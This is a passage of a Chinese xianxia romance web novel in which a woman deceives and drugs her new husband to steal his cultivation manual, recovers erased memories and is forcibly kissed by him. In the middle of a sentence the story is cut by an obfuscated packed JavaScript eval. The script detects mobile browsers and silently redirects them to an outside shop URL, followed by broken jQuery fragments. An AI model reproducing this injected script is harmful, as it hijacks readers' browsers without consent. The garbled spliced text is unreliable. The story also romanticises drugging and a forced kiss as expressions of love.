“只对你。”
合婚贴一到手,江栖夜说话便没了从前的顾忌,语气里满是藏不住的缱绻。
裴雪嫣笑着打趣:“将来发觉我不是你想象的那种人,恐怕就会后悔今日之举,把我抛之脑后呢。”
江栖夜转头望她,十分笃定的说:“不会。无论你变成什么样子,我都爱你。”
“别这么肉麻。”裴雪嫣浑身一僵,有点受不了这种直白的温情,连忙岔开话,“谁知道你以后会不会做什么对不起我的事?到时候随便找个‘逼不得已’的借口,就能解脱了。”
他垂眸沉默片刻,再抬眼:“我不会。若是真有那一天,也是我对不起你,绝无借口。”
裴雪嫣见他神色凝重,没再继续调侃。
他是不是真心都不打紧,反正男人的誓言最不可信,她也不会听进去。
等拿到遁巡术和完整心法,她就溜之大吉。
“时候不早了,我们回去吧,明天还要成亲,得早点休息养足精神。”
江栖夜:“好,我牵着你走。”
“我可以走呀。”
“夜里山路滑,慢点走。”说着自然地牵住她的手,掌心温热干燥,刚好包裹住她的手。
裴雪嫣想挣开,却被他握得更紧了些。
“听话。”
裴雪嫣受不了这样矫情的话语:“江道长,你可不可以不要说这么肉麻,都不像你了。”
江栖夜说:“学你。”
“我什么时候说这么肉麻了?”
“从见到我开始,你就一直这么说话。”
他说话怎么感觉有点阴阳怪气。
他们牵着手刚走下月老庙,天色暗沉,江栖夜就停下脚步。
裴雪嫣就看到他转身看向自己,一副“淫贼”的模样。
“你要做什么?这里有人。”
江栖夜摇摇头:“这么晚了,已无人路过。”
“那你要做什么?青天白日,朗朗乾坤......”
他很克制,只是紧紧把她抱在怀里。
掌心带着克制不住的移动,在腰间暧昧的挪动,不过没有更进一步的动作。
裴雪嫣能清晰感受到他急促的喘息,还有他眼底越来越深的、令人捉摸不透的情愫。
一路沉默着回到雅舍,刚推开门,江栖夜便主动提议:“明日就要成亲了,今晚我不玄修,睡床上吧。”
裴雪嫣:“......”
这里就一张床,他们自然是睡在一起的。
她强装镇定,扯出一个笑:“好、好啊,不过我有点累了,先睡了。”
说着,她飞快地钻进床帘后。
“怎么办怎么办?”她拍着自己的脑袋,脑子里飞速运转。
好像真的玩大了。
原本计划拿到心法就溜,可现在连新婚夜都还没到,他就已经这般亲近,今晚同床共枕,指不定会发生什么。
她悄悄掀开床帘一角,偷看外面。
江栖夜正站在殿内,背对着她,还在欣赏合婚贴的内容。
不一会儿,外面的脚步声渐渐靠近,裴雪嫣赶紧缩回身子,闭眼屏住呼吸,装作已经睡熟的样子。
裴雪嫣紧绷着身体,能清晰感受到他身上传来的淡淡冷香。
没等她缓过神,就感觉到一只温热的手轻轻搭在了她的腰上。
那力道很轻,带着明显的克制。
“阿筝?真睡了?”
裴雪嫣死死憋着没应声,继续装死。
他沉默了片刻,搭在腰上的手轻轻收紧了些,将她往自己身边拉了拉。
两人的距离瞬间拉近。
江栖夜就这么搂着她,沉默了许久,才缓缓开口,声音轻得像梦呓
“我该怎么说呢,还是怎么做?你醒来会不会怨恨我?你怨也好,恨也罢,从今之后我们就是夫妻,生生死死都要在一起的人。将来无论你如何对我,我都不会怪你,这一切都是我罪有应得。”
“我知道你一开始不喜欢我,也知道你后来或许重新动了心。你那些真真假假的言语里,掺杂了多少伪装与真心,我不在乎。”
他低声搂着她,嘴唇亲了下她的额头:“我想你原谅我,不要再责怪我。”
这次真的已经有了呼声。
慢慢睡去了。
大约没有听见什么话吧。
江栖夜抱着她一会儿起了身。
缓缓起身,重新坐回蒲团上准备修炼。
心绪难平,玄修的口诀在脑海里绕了几圈,却始终无法静下心来。
江栖夜轻轻叹了口气,重新闭上眼,试图将注意力集中在灵力运转上。
可越是刻意克制,那些压抑的情绪就越是汹涌。
幻境里她倒在血泊中的模样,废她修为时她痛苦的呻吟,灌下忘情水后她茫然的眼神,还有此刻她毫无防备的睡着。
一幕幕在脑海里交织,让他丹田处的隐痛又添了几分。
他知道自己罪孽深重。
既违逆了师尊之命,又欺骗了她的感情,更毁了她原本的人生。
废她修为、灌她忘情水,是他当时能想到的,唯一能护她周全的办法。
灵力在经脉中缓缓流淌,却始终带着一丝滞涩。
江栖夜能感觉到,自己的修为因为之前的渡灵传功损耗不小,如今又心绪不宁,恢复速度更是慢了许多。
或许是两人各有心绪,这一夜过得格外快。
次日清晨,成亲的事宜还没来得及布置,裴雪嫣小心试探:“相公,我怎么感觉全身麻麻的,一点劲都使不上?是不是你的修为和我体质不太契合?”
她对着铜镜拨了拨头发,继续装模作样:“昨天晚上也没睡好,头疼、腰疼、腿疼的,哎,你可不可以再传我一些修为?说不定多些灵力就能调和过来了。”
“好,我全部传给你。”
她本以为还要费些口舌,没想到江栖夜想都没想就答应。
“啊??”裴雪嫣转头惊愕地看着他。
他轻声说:“我想来想去,你没有溶丹,就算只有一半修为,也只能发挥出十分之一。不如我全部给你,连同完整心法一起教你,若你能悟透,想必能发挥出一半的功力,也足够在这仙门世家自保难遇多少对手了。”
裴雪嫣正站在铜镜前插着朱钗,怔怔地看着他,一时不知道该如何回答。
好像比自己预想的更容易一些。
他竟真的愿意为了她,放弃自己多年的修为?
“那......你怎么办?”她下意识问出口。
江栖夜语气平淡:“青宗门高深又浅显的法术有很多,我重新修炼起来并不难。而且心法口诀和相关书籍我都记在心里,用不了十年八年,就能恢复到现在的水准。”
裴雪嫣还是不敢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739271|186998||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
相信:“你……你说真的?全部传给我,你就几乎成了废人,万一遇到危险怎么办?”
他淡淡一笑:“我这青宗门弟子的名号还在,寻常人不敢轻易招惹。更何况,还有你呢?”
师父说过,作为女人不可被男人蒙蔽,也不能心软。
绝不可受到任何因素影响。
她马上就要大功告成,决不能犹豫不决。
“好呀,那我就却之不恭啦!等我修炼有成,以后就换我保护你!”
他们穿好婚服,周遭没有一个人,无宾客、无媒妁,简单得像孩子过家家。
没有三拜之礼,不拜天地,不拜神仙,只端起剩下的半壶合卺酒,手臂交缠着饮尽。
喝完交杯酒,两人刚在床边坐下。
江栖夜感觉一阵头晕,倒在床上,是裴雪嫣下药的迷魂散。
裴雪嫣心下一松,立刻起身冲到大殿,在蒲团旁的木盒里翻出那本写满心法的绢册。
她思来想去,这个男人很可能是骗她,他那么精明的人,怎么可能一点修为不留全部给她?
这迷魂散大约力度不够,不足一刻江栖夜居然醒了!
“你……”裴雪嫣惊得后退半步
他摸着头想快点清醒,没有说话,只是一步步朝她走来,不知怎么,裴雪嫣吓得本能地转身就跑,提着裙摆踉跄着冲出雅舍。
用尽全力催动刚学的修法闪身。
运转不熟,只堪堪逃到附近的树林里。
很快后面就有人追过来。
不知道是不是做亏心事紧张,她没看到脚下的石头和半身的坑洼,直接掉了下去。
那感觉天旋地转,好似看到了周围火把追踪自己。
“薛莲!薛莲......”
她听到有人喊这个名字?
昏沉中,脑子炸开了一般,薛莲是谁?
为什么有人叫她这个名字?
忽然,脑中场景一转,她看到自己握着一把长剑,剑尖抵着心口,鲜血顺着剑身汩汩流下,染红了素色的衣裙。
那把剑,好熟悉,好熟悉。
身上流了好多血啊……
等到阿褒出现在金灿灿的麦田里,裴雪嫣突然清醒,她从坑洼出直直地站起,眼神空洞又茫然。
更多记忆碎片涌了上来。
那些被遗忘的过往,那些被掩盖的真相,此刻尽数回笼,拼凑完整。
他,居然,又骗了她!
裴雪嫣听到后面的喊叫声,知道,他来了。
她很想很想装作前一刻没心没肺的“小骗子”,纯纯的骗他。
可现在,就算得到全部修为,也难解心头之恨。
她想捅他几剑,让他也尝尝撕心裂肺的滋味。
江栖夜跌跌撞撞冲进树林,借着月光,终于看到坑洼中直直站立的身影。
他纵身跳下去,裴雪嫣已转过身来,她还想看清他的脸,却被他突然按住后颈,狠狠吻了上去。
这不是试探,不是温存,是带着破釜沉舟的偏执与绝望的强吻。
他的唇瓣滚烫,带着血腥味,狠狠覆住她,那力道大得几乎要咬碎她的唇齿。
他撬开她的牙关,舌尖不顾一切地闯进去,掠夺着她的呼吸,描摹着她的唇齿,将所有的愧疚、恐惧、不甘与汹涌爱意,都倾注在这个近乎粗暴的吻里。
裴雪嫣瞳孔骤缩,浑身僵住。